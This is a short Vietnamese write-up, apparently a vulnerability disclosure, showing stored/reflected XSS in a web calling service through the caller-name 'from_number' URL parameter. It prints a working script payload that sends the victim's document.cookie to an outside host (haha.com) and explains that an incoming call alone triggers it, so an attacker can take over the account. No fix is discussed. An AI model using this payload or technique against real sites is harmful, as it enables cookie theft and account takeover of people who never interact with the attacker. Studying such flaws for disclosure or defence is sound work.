Chiếm quyền tài khoản chỉ qua một cuộc điện thoại

 

Sơ lược web X là một trang web cung cấp các ứng dụng gọi điện thoại trong đó trang đã bị dính xss qua tên người dùng và điều đặc biệt tên người dùng này sẽ được tuỳ tỉnh thông qua hàm get từ url

 https://xxx/button-call/lastest/videocall/popup_voicecall.html?from_number=đân chơi nửa mùa 

Ngoài inject ký tự ta có thể tiêm một mã độc bằng js vào vì máy chủ không lọc đầu vào.

Ngoài ra web còn cho phép hiện tên khi gọi cho người khác từ đó người khi người nhận cuộc điện thoại cũng sẽ hiện tên số điện thoại người gọi đến ở đây là kẻ tấn công từ đó họ có thể kích hoạt xss khi gọi đến số nạn nhân vì ngay khi người nhận số điện thoại gọi đến cùng load tên người dùng và cũng kích hoạt mã độc js của tôi

<script>alert(1);var i=new Image;i.src="http://haha.com/?"+document.cookie;</script>

Với một đoạn mã cơ bản tôi có thể đánh cắp cookie của nạn nhân và truy cập trái phép vào tài khoản họ.

Như vậy chỉ cần gọi đến 1 số tài khoản tồn tại người dùng không cần kích hoạt cookie vẫn sẽ tự về server mình.